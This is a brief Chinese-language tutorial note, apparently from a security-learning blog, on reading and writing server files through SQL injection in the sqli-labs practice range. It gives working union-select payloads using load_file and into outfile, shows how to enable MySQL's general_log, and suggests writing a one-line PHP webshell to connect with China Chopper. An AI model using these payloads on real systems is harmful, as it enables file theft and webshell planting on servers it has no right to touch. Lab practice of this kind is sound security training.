sqlmap 读写文件
读文件
靶场:sqli-lab less-1
读取文件前提权限足够
mysql 配置文件my.ini中的变量secure_file_priv值不为空(secure_file_priv=)
服务器能够回显数据所用到的sql语句
select load_file(路径文件名)
shell
-1’ union select 1,load_file(‘D:/web_address.txt’),3–+
写文件
靶场:sqli-lab less-7
写入文件前提权限足够
开启general_log查看general_log是否开启 show variables like ‘general_log’;
开启general_log set global general_log=on;所需sql语句
select 写入数据 into outfile 路径文件名
shell
-1’)) union select 1,2,"<?php phpinfo();?>" into outfile “d:/shell.txt” --+
可以在shell中向文件写入一句话,用菜刀进行连接